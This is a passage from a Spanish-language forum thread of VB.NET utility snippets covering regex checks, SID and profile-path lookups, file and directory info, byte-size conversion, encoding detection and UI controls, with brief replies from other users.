Call set /a "random1=%%RANDOM:~1,2%%" 2>NUL || Call set /a "random1=%%RANDOM:~0,1%%"
:loop2
Call set /a "random2=%%RANDOM:~0,3%%"
if not %random2% GTR 255 (Goto :loop3)
Call set /a "random2=%%RANDOM:~1,2%%" 2>NUL || Call set /a "random2=%%RANDOM:~0,1%%"
:loop3
Call set /a "random3=%%RANDOM:~0,3%%"
if not %random3% GTR 255 (Goto :Append)
Call set /a "random3=%%RANDOM:~1,2%%" 2>NUL || Call set /a "random3=%%RANDOM:~0,1%%"
:Append
Echo Color.FromArgb(%RANDOM1%, %RANDOM2%, %RANDOM3%)
Echo {%index%, Color.FromArgb(%RANDOM1%, %RANDOM2%, %RANDOM3%)}, _>>"Color.FromArgb.txt"
Set /A Index+=1
if %index% GTR %Max_Colors% (Pause&Exit)
Goto:loop1
El output es algo así:
CMD:
Color.FromArgb(248, 51, 134)
Color.FromArgb(119, 23, 233)
Color.FromArgb(120, 81, 71)
Color.FromArgb(54, 209, 179)
Color.FromArgb(115, 219, 46)
Color.FromArgb(146, 229, 130)
Color.FromArgb(254, 87, 184)
Color.FromArgb(117, 50, 23)
Color.FromArgb(47, 203, 46)
Color.FromArgb(75, 226, 13)
Color.FromArgb(192, 40, 49)
Color.FromArgb(49, 214, 63)
Color.FromArgb(149, 105, 65)
Color.FromArgb(130, 133, 166)
Color.FromArgb(45, 185, 214)
Color.FromArgb(41, 196, 20)
Color.FromArgb(230, 23, 193)
Color.FromArgb(146, 21, 5)
Color.FromArgb(40, 92, 52)
Color.FromArgb(151, 93, 22)
Color.FromArgb(124, 236, 78)
Color.FromArgb(55, 226, 50)
Color.FromArgb(30, 139, 76)
Color.FromArgb(67, 50, 69)
Archivo de texto:
{0, Color.FromArgb(44, 222, 32)}, _
{1, Color.FromArgb(23, 17, 75)}, _
{2, Color.FromArgb(6, 97, 1)}, _
{3, Color.FromArgb(39, 138, 57)}, _
{4, Color.FromArgb(67, 158, 13)}, _
{5, Color.FromArgb(76, 31, 26)}, _
{6, Color.FromArgb(142, 104, 118)}, _
{7, Color.FromArgb(29, 217, 91)}, _
{8, Color.FromArgb(229, 176, 216)}, _
{9, Color.FromArgb(133, 73, 45)}, _
{10, Color.FromArgb(151, 47, 21)}, _
{11, Color.FromArgb(32, 31, 205)}, _
{12, Color.FromArgb(126, 173, 80)}, _
{13, Color.FromArgb(240, 179, 146)}, _
{14, Color.FromArgb(11, 197, 205)}, _
{15, Color.FromArgb(37, 206, 129)}, _
{16, Color.FromArgb(253, 214, 137)}, _
{17, Color.FromArgb(89, 119, 31)}, _
{18, Color.FromArgb(2, 103, 255)}, _
{19, Color.FromArgb(91, 166, 196)}, _
{20, Color.FromArgb(79, 90, 82)}, _
{21, Color.FromArgb(154, 249, 78)}, _
{22, Color.FromArgb(93, 125, 5)}, _
{23, Color.FromArgb(192, 119, 17)}, _
{24, Color.FromArgb(60, 250, 236)}, _
{25, Color.FromArgb(196, 97, 99)}, _
Validar la sintaxis de un RegEx
#Region " Validate RegEx "
' [ Validate RegEx Function ]
'
' //By Elektro H@cker
'
' Examples :
' MsgBox(Validate_RegEx("\")) ' Result: False
' MsgBox(Validate_RegEx("\\")) ' Result: True
Private Function Validate_RegEx(Pattern As String) As Boolean
Dim temp_RegEx As System.Text.RegularExpressions.Regex
Try
temp_RegEx = New System.Text.RegularExpressions.Regex(Pattern)
Return True
Catch
Return False
Finally
temp_RegEx = Nothing
End Try
End Function
#End Region
Resalta los colores de las coincidencias encontradas de una expresión regular en el contenido de un RichTextBox.
#Region " Highlight RegEx In RichTextBox "
' [ Highlight RegEx In RichTextBox Function ]
'
' //By Elektro H@cker
'
' Examples :
'
' RichTextBox1.Text = String.Format("{0}{1}{0}{1}{0}{1}", "Hello World!", vbNewLine)
' Match_RegEx_In_RichTextBox(RichTextBox1, "Hello (World)", 0, Color.Red) ' Colored Result: "Hello World"
' Match_RegEx_In_RichTextBox(RichTextBox1, "Hello (World)", 1, Color.Red) ' Colored Result: "World"
Private Sub Highlight_RegEx_In_RichTextBox(ByVal richtextbox As RichTextBox, _
ByVal regex_pattern As String, _
ByVal regex_group As Integer, _
ByVal color As Color)
Dim Matches = Regex.Match(richtextbox.Text, regex_pattern)
Do While Matches.Success
richtextbox.Select(Matches.Groups(regex_group).Index, Matches.Groups(regex_group).Length)
RichTextBox1.SelectionColor = color
Matches = Matches.NextMatch()
Loop
richtextbox.Select(richtextbox.TextLength, 0) ' Reset selection
Matches = Nothing
End Sub
#End Region
(http://img197.imageshack.us/img197/1387/y93i.png)
· Obtiene el identificador de usuario (SID) de un usuario
#Region " Username To SID "
' [ Username To SID ]
'
' // By Elektro H@cker
'
' Examples:
' MsgBox(Username_To_SID("Administrador")) ' Result: S-1-5-21-3344876933-2114507426-1248549232-500
Private Function Username_To_SID(ByVal Username As String) As String
Dim SID As String = New System.Security.Principal.NTAccount(Username). _
Translate(GetType(System.Security.Principal.SecurityIdentifier)).Value
Return SID
End Function
#End Region
· Obtiene la carpeta del perfil de usuario de un usuario.
#Region " Username To ProfilePath "
' [ Username To ProfilePath ]
'
' // By Elektro H@cker
'
' Examples:
' MsgBox(Username_To_ProfilePath("Administrador")) ' Result: C:\Users\Administrador
Private Function Username_To_ProfilePath(ByVal Username As String) As String
Dim SID As String = _
New System.Security.Principal.NTAccount(Username). _
Translate(GetType(System.Security.Principal.SecurityIdentifier)).Value
Return My.Computer.Registry.GetValue( _
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\" & SID, _
"ProfileImagePath", _
"Unknown directory")
End Function
#End Region
· Obtiene el nombre de usuario de un identificador de usuario (SID)
#Region " SID To Username "
' [ SID To Username ]
'
' // By Elektro H@cker
'
' Examples:
' MsgBox(SID_To_Username("S-1-5-21-3344876933-2114507426-1248549232-500")) ' Result: Administrador
Private Function SID_To_UUsername(ByVal SID As String) As String
Dim DomainName As String = New System.Security.Principal.SecurityIdentifier(SID). _
Translate(GetType(System.Security.Principal.NTAccount)).Value
Return DomainName.Substring(DomainName.IndexOf("\") + 1)
End Function
#End Region
· Obtiene la carpeta del perfil de un usuario mediante un identificador de usuario (SID)
#Region " SID To ProfilePath "
' [ SID To ProfilePath ]
'
' // By Elektro H@cker
'
' Examples:
' MsgBox(SID_To_ProfilePath("S-1-5-21-3344876933-2114507426-1248549232-500")) ' Result: "C:\Users\Administrador"
Private Function SID_To_ProfilePath(ByVal SID As String) As String
Return My.Computer.Registry.GetValue( _
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\" & SID, _
"ProfileImagePath", _
"Unknown directory")
End Function
#End Region
· Colorear los items de un ListBox.
[youtube=640,360]http://www.youtube.com/watch?v=0W7iQMo1D1A[/youtube]
#Region " [ListBox] Colorize Items "
' [ [ListBox] Colorize Items ]
'
' // By Elektro H@cker
'
' Examples :
'
' Set Drawmode to "OwnerDrawFixed" to make this work.
' ListBox1.DrawMode = DrawMode.OwnerDrawFixed
'
' Colorize only selected item:
' Colorize_Item(ListBox1, Colorize_ListBox_Items.Selected, Brushes.YellowGreen)
'
' Colorize all Non-Selected items
' Colorize_Item(ListBox1, Colorize_ListBox_Items.Non_Selected, Brushes.Red)
'
' Colorize all items:
' Colorize_Item(ListBox1, Colorize_ListBox_Items.All, Brushes.Yellow)
'
' Colorize any item:
' Colorize_Item(ListBox1, Colorize_ListBox_Items.None, Nothing)
'
' Colorize specific items:
' Colorize_Item(ListBox1, {0, (ListBox1.Items.Count \ 2), (ListBox1.Items.Count - 1)}, Brushes.HotPink)
' Stores the brush color to paint
Dim ListBox_Color As Brush = Brushes.AliceBlue
Private Enum Colorize_ListBox_Items As Short
Selected = 0
Non_Selected = 1
All = 2
None = 3
End Enum
Private Sub Colorize_Item(ByVal ListBox As ListBox, _
ByVal Items As Colorize_ListBox_Items, _
ByVal Brush_Color As Brush)
' Stores the Enum value
ListBox.Tag = Items.ToString
' Stores the brush color
ListBox_Color = Brush_Color
ListBox.Invalidate() ' Refresh changes
End Sub
Private Sub Colorize_Item(ByVal ListBox As ListBox, _
ByVal Items As Integer(), _
ByVal Brush_Color As Brush)
' Stores the index items
ListBox.Tag = String.Join(ChrW(Keys.Space), Items)
' Stores the brush color
ListBox_Color = Brush_Color
ListBox.Invalidate() ' Refresh changes
End Sub
Private Sub ListBox_DrawItem(ByVal sender As Object, ByVal e As DrawItemEventArgs) _
Handles ListBox1.DrawItem
e.DrawBackground()
Select Case sender.tag
Case Colorize_ListBox_Items.Selected.ToString ' Colorize Selected Items
If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then
e.Graphics.FillRectangle(ListBox_Color, e.Bounds)
End If
Case Colorize_ListBox_Items.Non_Selected.ToString ' Colorize Non-Selected Items
If (e.State And DrawItemState.Selected) = DrawItemState.None Then
e.Graphics.FillRectangle(ListBox_Color, e.Bounds)
End If
Case Colorize_ListBox_Items.All.ToString ' Colorize all
e.Graphics.FillRectangle(ListBox_Color, e.Bounds)
Case Colorize_ListBox_Items.None.ToString ' Colorize none
Dim DefaultColor As SolidBrush = New SolidBrush(ListBox.DefaultBackColor)
e.Graphics.FillRectangle(DefaultColor, e.Bounds)
DefaultColor.Dispose()
Case Else ' Colorize at specific index
If Not String.IsNullOrEmpty(sender.tag) _
AndAlso sender.tag.ToString.Split.Contains(e.Index.ToString) Then
e.Graphics.FillRectangle(ListBox_Color, e.Bounds)
End If
End Select
Using b As New SolidBrush(e.ForeColor)
e.Graphics.DrawString(ListBox1.GetItemText(ListBox1.Items(e.Index)), e.Font, b, e.Bounds)
End Using
e.DrawFocusRectangle()
End Sub
#End Region
· Una nueva versión de mi FileInfo personalizado, para obtener información sobre un archivo.
Public Class InfoFile
#Region " InfoFile "
' [ InfoFile ]
'
' // By Elektro H@cker
'
' Examples:
'
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Name)) ' Result: Test
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Extension_Without_Dot)) ' Result: txt
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileName)) ' Result: Test.txt
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Directory)) ' Result: C:\
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.DriveRoot)) ' Result: C:\
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.DriveLetter)) ' Result: C
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FullName)) ' Result: C:\Test.txt
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.ShortName)) ' Result: Test.txt
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.ShortPath)) ' Result: C:\Test.txt
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Name_Length)) ' Result: 8
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Extension_Without_Dot_Length)) ' Result: 3
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileName_Length)) ' Result: 8
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Directory_Length)) ' Result: 3
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FullName_Length)) ' Result: 11
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileSize_Byte)) ' Result: 5.127.975
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileSize_KB)) ' Result: 5.007.79
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileSize_MB)) ' Result: 4,89
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileSize_GB)) ' Result: 0,00
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileSize_TB)) ' Result: 0,00
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.FileVersion)) ' Result: ""
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Attributes_Enum)) ' Result: 8224
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Attributes_String)) ' Result: Archive, NotContentIndexed
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.CreationTime)) ' Result: 16/09/2012 8:28:17
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.LastAccessTime)) ' Result: 16/09/2012 10:51:17
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.LastModifyTime)) ' Result: 16/09/2012 10:51:17
' MsgBox(InfoFile.Get_Info("C:\Test.txt", InfoFile.Info.Has_Extension)) ' Result: True
Public Enum Info
Name ' Filename without extension
Extension_With_Dot ' File-Extension (with dot included)
Extension_Without_Dot ' File-Extension (without dot)
FileName ' Filename.extension
Directory ' Directory name
FullName ' Directory path + Filename
DriveRoot ' Drive letter
DriveLetter ' Drive letter (only 1 character)
ShortName ' DOS8.3 Filename
ShortPath ' DOS8.3 Path Name
Name_Length ' Length of Filename without extension
Extension_With_Dot_Length ' Length of File-Extension (with dot included)
Extension_Without_Dot_Length ' Length of File-Extension (without dot)
FileName_Length ' Length of Filename.extension
Directory_Length ' Length of Directory name
FullName_Length ' Length of Directory path + Filename
FileSize_Byte ' Size in Bytes
FileSize_KB ' Size in KiloBytes
FileSize_MB ' Size in MegaBytes
FileSize_GB ' Size in GigaBytes
FileSize_TB ' Size in TeraBytes
FileVersion ' Version for DLL or EXE files
Attributes_Enum ' Attributes as numbers
Attributes_String ' Attributes as descriptions
CreationTime ' Date Creation time
LastAccessTime ' Date Last Access time
LastModifyTime ' Date Last Modify time
Has_Extension ' Checks if file have a file-extension.
End Enum
Public Shared Function Get_Info(ByVal File As String, ByVal Information As Info) As String
Dim File_Info = My.Computer.FileSystem.GetFileInfo(File)
Select Case Information
Case Info.Name : Return File_Info.Name.Substring(0, File_Info.Name.LastIndexOf("."))
Case Info.Extension_With_Dot : Return File_Info.Extension
Case Info.Extension_Without_Dot : Return File_Info.Extension.Split(".").Last
Case Info.FileName : Return File_Info.Name
Case Info.Directory : Return File_Info.DirectoryName
Case Info.DriveRoot : Return File_Info.Directory.Root.ToString
Case Info.DriveLetter : Return File_Info.Directory.Root.ToString.Substring(0, 1)
Case Info.FullName : Return File_Info.FullName
Case Info.ShortName : Return CreateObject("Scripting.FileSystemObject").GetFile(File).ShortName
Case Info.ShortPath : Return CreateObject("Scripting.FileSystemObject").GetFile(File).ShortPath
Case Info.Name_Length : Return File_Info.Name.Length
Case Info.Extension_With_Dot_Length : Return File_Info.Extension.Length
Case Info.Extension_Without_Dot_Length : Return File_Info.Extension.Split(".").Last.Length
Case Info.FileName_Length : Return File_Info.Name.Length
Case Info.Directory_Length : Return File_Info.DirectoryName.Length
Case Info.FullName_Length : Return File_Info.FullName.Length
Case Info.FileSize_Byte : Return Convert.ToDouble(File_Info.Length).ToString("n0")
Case Info.FileSize_KB : Return (Convert.ToDouble(File_Info.Length) / 1024L).ToString("n2")
Case Info.FileSize_MB : Return (Convert.ToDouble(File_Info.Length) / 1024L ^ 2).ToString("n2")
Case Info.FileSize_GB : Return (Convert.ToDouble(File_Info.Length) / 1024L ^ 3).ToString("n2")
Case Info.FileSize_TB : Return (Convert.ToDouble(File_Info.Length) / 1024L ^ 4).ToString("n2")
Case Info.FileVersion : Return CreateObject("Scripting.FileSystemObject").GetFileVersion(File)
Case Info.Attributes_Enum : Return File_Info.Attributes
Case Info.Attributes_String : Return File_Info.Attributes.ToString
Case Info.CreationTime : Return File_Info.CreationTime
Case Info.LastAccessTime : Return File_Info.LastAccessTime
Case Info.LastModifyTime : Return File_Info.LastWriteTime
Case Info.Has_Extension : Return IO.Path.HasExtension(File)
Case Else : Return String.Empty
End Select
End Function
#End Region
End Class
· Lo mismo de arriba pero para directorios:
Public Class InfoDir
#Region " InfoDir "
' [ InfoDir ]
'
' // By Elektro H@cker
'
' Examples:
'
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.Name)) ' Result: Test
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.Parent)) ' Result: Test Parent
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.FullName)) ' Result: C:\Test Parent\Test
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.DriveRoot)) ' Result: C:\
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.DriveLetter)) ' Result: C
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.Name_Length)) ' Result: 4
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.FullName_Length)) ' Result: 19
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.Attributes_Enum)) ' Result: 8208
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.Attributes_String)) ' Result: Directory, NotContentIndexed
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.CreationTime)) ' Result: 16/09/2012 8:28:17
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.LastAccessTime)) ' Result: 16/09/2012 10:51:17
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.LastModifyTime)) ' Result: 16/09/2012 10:51:17
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.FileSize_Byte)) ' Result: 5.127.975
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.FileSize_KB)) ' Result: 5.007.79
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.FileSize_MB)) ' Result: 4,89
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.FileSize_GB)) ' Result: 0,00
' MsgBox(InfoDir.Get_Info("C:\Test Parent\Test", InfoDir.Info.FileSize_TB)) ' Result: 0,00
Public Enum Info
Name ' Folder name
FullName ' Directory path
Parent ' Parent directory
DriveRoot ' Drive letter
DriveLetter ' Drive letter (only 1 character)
Name_Length ' Length of directory name
FullName_Length ' Length of full directory path
FileSize_Byte ' Size in Bytes (including subfolders)
FileSize_KB ' Size in KiloBytes (including subfolders)
FileSize_MB ' Size in MegaBytes (including subfolders)
FileSize_GB ' Size in GigaBytes (including subfolders)
FileSize_TB ' Size in TeraBytes (including subfolders)
Attributes_Enum ' Attributes as numbers
Attributes_String ' Attributes as descriptions
CreationTime ' Date Creation time
LastAccessTime ' Date Last Access time
LastModifyTime ' Date Last Modify time
End Enum
Public Shared Function Get_Info(ByVal Dir As String, ByVal Information As Info) As String
Dim Dir_Info = My.Computer.FileSystem.GetDirectoryInfo(Dir)
Select Case Information
Case Info.Name : Return Dir_Info.Name
Case Info.FullName : Return Dir_Info.FullName
Case Info.Parent : Return Dir_Info.Parent.ToString
Case Info.DriveRoot : Return Dir_Info.Root.ToString
Case Info.DriveLetter : Return Dir_Info.Root.ToString.Substring(0, 1)
Case Info.Name_Length : Return Dir_Info.Name.Length
Case Info.FullName_Length : Return Dir_Info.FullName.Length
Case Info.FileSize_Byte : Return Convert.ToDouble(Get_Directory_Size(Dir_Info)).ToString("n0")
Case Info.FileSize_KB : Return (Convert.ToDouble(Get_Directory_Size(Dir_Info)) / 1024L).ToString("n2")
Case Info.FileSize_MB : Return (Convert.ToDouble(Get_Directory_Size(Dir_Info)) / 1024L ^ 2).ToString("n2")
Case Info.FileSize_GB : Return (Convert.ToDouble(Get_Directory_Size(Dir_Info)) / 1024L ^ 3).ToString("n2")
Case Info.FileSize_TB : Return (Convert.ToDouble(Get_Directory_Size(Dir_Info)) / 1024L ^ 4).ToString("n2")
Case Info.Attributes_Enum : Return Dir_Info.Attributes
Case Info.Attributes_String : Return Dir_Info.Attributes.ToString
Case Info.CreationTime : Return Dir_Info.CreationTime
Case Info.LastAccessTime : Return Dir_Info.LastAccessTime
Case Info.LastModifyTime : Return Dir_Info.LastWriteTime
Case Else : Return String.Empty
End Select
End Function
Private Shared Function Get_Directory_Size(Directory As IO.DirectoryInfo) As Long
Try
Dim Dir_Total_Size As Long = Directory.EnumerateFiles().Sum(Function(file) file.Length)
Dir_Total_Size += Directory.EnumerateDirectories().Sum(Function(dir) Get_Directory_Size(dir))
Return Dir_Total_Size
Catch
End Try
Return -1
End Function
#End Region
End Class
Convierte bytes a otra unidad:
#Region " Convert Bytes Function "
' [ Convert Bytes Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(String.Format("{0} KB", Byte_To_Size(5127975, xByte.kilobyte, 2))) ' Result: 5007,79 KB
' MsgBox(String.Format("{0} MB", Byte_To_Size(5127975, xByte.megabyte, 2))) ' Result: 4,89 MB
' MsgBox(String.Format("{0} GB", Byte_To_Size(5127975, xByte.gigabyte, 3))) ' Result: 0,005 GB
' MsgBox(String.Format("{0} TB", Byte_To_Size(5127975, xByte.terabyte, 3))) ' Result: 0 TB
' MsgBox(String.Format("{0} PB", Byte_To_Size(5127975, xByte.petabyte, 3))) ' Result: 0 PB
Enum xByte As Long
kilobyte = 1024L
megabyte = 1024L * kilobyte
gigabyte = 1024L * megabyte
terabyte = 1024L * gigabyte
petabyte = 1024L * terabyte
End Enum
Private Function Byte_To_Size(ByVal bytes As Long, _
ByVal convertto As xByte, _
Optional ByVal decimals As Integer = 2 _
) As Double
Return (Convert.ToDouble(bytes) / convertto).ToString("n" & decimals)
End Function
#End Region
Este post, parece medio viejito, pero EXCELENTE APORTE. OJALA LO HUBIERA VISTO ANTES....SAlu2s
Cita de: DarK_FirefoX en 16 Septiembre 2013, 19:52 PMEste post, parece medio viejito, pero EXCELENTE APORTE. OJALA LO HUBIERA VISTO ANTES....SAlu2s
Se agradece, pero es una pena que los
.NETeros no estén muy interesados por mis publicaciones en este hilo :P
Un saludo!
Pues yo echo mano de este hilo de vez en cuando, hay cosas muy útiles.
Cita de: ABDERRAMAH en 17 Septiembre 2013, 02:59 AMPues yo echo mano de este hilo de vez en cuando, hay cosas muy útiles.
se agradece también!
· Devuelve la conversión de bytes a la unidad de tamaño más aproximada
Por ejemplo, si le pasamos "60877579" bytes, nos devuelve este string: "58,06 MB"
#Region " Round Bytes "
' [ Round Bytes Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Round_Bytes(1023)) ' Result: 1.023 Bytes
' MsgBox(Round_Bytes(80060, 1)) ' Result: 78,2 KB
' MsgBox(Round_Bytes(60877579)) ' Result: 58,06 MB
' MsgBox(Round_Bytes(4485888579)) ' Result: 4,18 GB
' MsgBox(Round_Bytes(20855564677579)) ' Result: 18,97 TB
' MsgBox(Round_Bytes(990855564677579)) ' Result: 901,18 PB
' MsgBox(Round_Bytes(1987464809247272)) ' Result: 1,77 PB
Enum xByte As Long
kilobyte = 1024L
megabyte = 1024L * kilobyte
gigabyte = 1024L * megabyte
terabyte = 1024L * gigabyte
petabyte = 1024L * terabyte
End Enum
Private Function Round_Bytes(ByVal bytes As Long, _
Optional ByVal decimals As Integer = 2 _
) As String
Select Case bytes
Case Is >= xByte.petabyte
Return String.Format("{0} PB", (Convert.ToDouble(bytes) / xByte.petabyte).ToString("n" & decimals))
Case Is >= xByte.terabyte
Return String.Format("{0} TB", (Convert.ToDouble(bytes) / xByte.terabyte).ToString("n" & decimals))
Case Is >= xByte.gigabyte
Return String.Format("{0} GB", (Convert.ToDouble(bytes) / xByte.gigabyte).ToString("n" & decimals))
Case Is >= xByte.megabyte
Return String.Format("{0} MB", (Convert.ToDouble(bytes) / xByte.megabyte).ToString("n" & decimals))
Case Is >= xByte.kilobyte
Return String.Format("{0} KB", (Convert.ToDouble(bytes) / xByte.kilobyte).ToString("n" & decimals))
Case Is >= 0
Return String.Format("{0} Bytes", Convert.ToDouble(bytes).ToString("n0"))
Case Else
Return String.Empty
End Select
End Function
#End Region
· FileSize Converter
Convierte tamaños de unidades de almacenamiento
#Region " FileSize Converter "
' [ FileSize Converter Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(String.Format("92928374 bytes = {0} Bytes", FileSize_Converter(92928374, Units.bytes, Units.bytes).ToString("n0"))) ' Result: 92.928.374,00 Bytes
' MsgBox(String.Format("92928374 bytes = {0} KB", FileSize_Converter(92928374, Units.bytes, Units.kilobyte).ToString("n2"))) ' Result: 90.750,37 KB
' MsgBox(String.Format("92928374 bytes = {0} MB", FileSize_Converter(92928374, Units.bytes, Units.megabyte).ToString("n2"))) ' Result: 88,62 MB
' MsgBox(String.Format("50 GB = {0} Bytes", FileSize_Converter(50, Units.gigabyte, Units.bytes).ToString("n2"))) ' Result: 53.687.091.200,00 Bytes
' MsgBox(String.Format("50 GB = {0} KB", FileSize_Converter(50, Units.gigabyte, Units.kilobyte).ToString("n2"))) ' Result: 52.428.800,00 KB
' MsgBox(String.Format("50 GB = {0} MB", FileSize_Converter(50, Units.gigabyte, Units.megabyte).ToString("n2"))) ' Result: 51,200,00 MB
Enum Units As Long
bytes = 1L
kilobyte = 1024L
megabyte = 1048576L
gigabyte = 1073741824L
terabyte = 1099511627776L
petabyte = 1125899906842624L
End Enum
Private Function FileSize_Converter(ByVal Size As Long, _
ByVal FromUnit As Units, _
ByVal ToUnit As Units) As Double
Dim bytes As Double = Convert.ToDouble(Size * FromUnit)
Dim result As Double = 0
If ToUnit < FromUnit Then
Select Case ToUnit
Case Units.bytes : result = bytes
Case Units.kilobyte : result = bytes / Units.kilobyte
Case Units.megabyte : result = bytes / Units.megabyte
Case Units.gigabyte : result = bytes / Units.gigabyte
Case Units.terabyte : result = bytes / Units.terabyte
Case Units.petabyte : result = bytes / Units.petabyte
Case Else : Return -1
End Select
ElseIf ToUnit > FromUnit Then
Select Case ToUnit
Case Units.bytes : result = bytes
Case Units.kilobyte : result = bytes * Units.kilobyte / Units.kilobyte ^ 2
Case Units.megabyte : result = bytes * Units.megabyte / Units.megabyte ^ 2
Case Units.gigabyte : result = bytes * Units.gigabyte / Units.gigabyte ^ 2
Case Units.terabyte : result = bytes * Units.terabyte / Units.terabyte ^ 2
Case Units.petabyte : result = bytes * Units.petabyte / Units.petabyte ^ 2
Case Else : Return -1
End Select
ElseIf ToUnit = FromUnit Then
result = Size
End If
Return result
End Function
#End Region
· Detectar la codificación de un archivo de texto
(Para quien no entienda de BOM's y codificaciones, no existe una manera 100% fiable de detectar la codificación y puede dar falsos positivos)
#Region " Detect Text Encoding "
' [ Detect Text Encoding Function ]
'
' Examples :
'
' MsgBox(Detect_Text_Encoding("C:\ANSI File.txt").ToString) ' Result: System.Text.SBCSCodePageEncoding
' MsgBox(Detect_Text_Encoding("C:\UTF8 File.txt").ToString) ' Result: System.Text.UTF8Encoding
Public Function Detect_Text_Encoding(TextFile As String) As System.Text.Encoding
Dim Bytes() As Byte = IO.File.ReadAllBytes(TextFile)
Dim detectedEncoding As System.Text.Encoding = Nothing
For Each info As System.Text.EncodingInfo In System.Text.Encoding.GetEncodings()
Dim currentEncoding As System.Text.Encoding = info.GetEncoding()
Dim preamble() As Byte = currentEncoding.GetPreamble()
Dim match As Boolean = True
If (preamble.Length > 0) And (preamble.Length <= Bytes.Length) Then
For i As Integer = 0 To preamble.Length - 1
If preamble(i) <> Bytes(i) Then
match = False
Exit For
End If
Next i
Else
match = False
End If
If match Then
detectedEncoding = currentEncoding
Exit For
End If
Next info
If detectedEncoding Is Nothing Then
Return System.Text.Encoding.Default
Else
Return detectedEncoding
End If
End Function
#End Region
Permitir la escritura de 1 solo caracter en un textbox y deshabilitar el menú contextual, tiene algunas diferencias de la propiedad "MaxLength", no pega el primer caracter de una palabra del clipboards si la longitud de la palabra es de 1 caracter (es un code un poco "custom", util para especificar delimitadores de texto de un solo caracter, o cosas parecidas)
#Region " [TextBox] Allow only 1 Character "
' By Elektro H@cker
' TextBox [Enter]
Private Sub TextBox_Enter(sender As Object, e As EventArgs) ' Handles TextBox1.MouseEnter
' Allign the character in the TextBox space
' If Not TextBox_Separator.TextAlign = HorizontalAlignment.Center Then TextBox_Separator.TextAlign = HorizontalAlignment.Center Then
' Disable Copy/Paste contextmenu by creating a new one
If sender.ContextMenuStrip Is Nothing Then sender.ContextMenuStrip = New ContextMenuStrip
End Sub
' TextBox [KeyPress]
Private Sub TextBox_KeyPress(sender As Object, e As KeyPressEventArgs) ' Handles TextBox1.KeyPress
Select Case sender.TextLength
Case 0 ' TextLength = 0
Select Case e.KeyChar
Case Chr(22) ' CTRL+V is pressed
' If Clipboard contains 0 or 1 character then paste the character.
e.Handled = IIf(Clipboard.GetText.Length <= 1, False, True)
Case Else ' Other key is pressed
e.Handled = False ' Print the character.
End Select ' e.KeyChar when TextLength = 0
Case 1 ' TextLength = 1
Select Case e.KeyChar
Case Convert.ToChar(Keys.Back) ' Backspace is pressed
e.Handled = False ' Delete the character
Case Chr(22) ' CTRL+V is pressed
Select Case sender.SelectionLength
Case 1 ' If 1 character is selected
' If Clipboard contains 0 or 1 character then paste the character.
e.Handled = IIf(Clipboard.GetText.Length <= 1, False, True)
Case Else ' If any text is selected
e.Handled = True ' Don't paste the characters.
End Select
Case Else ' Other key is pressed
' If any text is selected then don't print the character.
e.Handled = IIf(sender.SelectionLength = 1, False, True)
End Select ' e.KeyChar when TextLength = 1
End Select ' TextLength
End Sub
' TextBox [TextChanged]
Private Sub TextBox_TextChanged(sender As Object, e As EventArgs) ' Handles TextBox1.TextChanged
' // If NOT Text is empty then Save the character:
'
' If Not String.IsNullOrEmpty(sender.text) _
' Then My.Settings.User_Character = Convert.ToChar(sender.text)
End Sub
' TextBox [Leave]
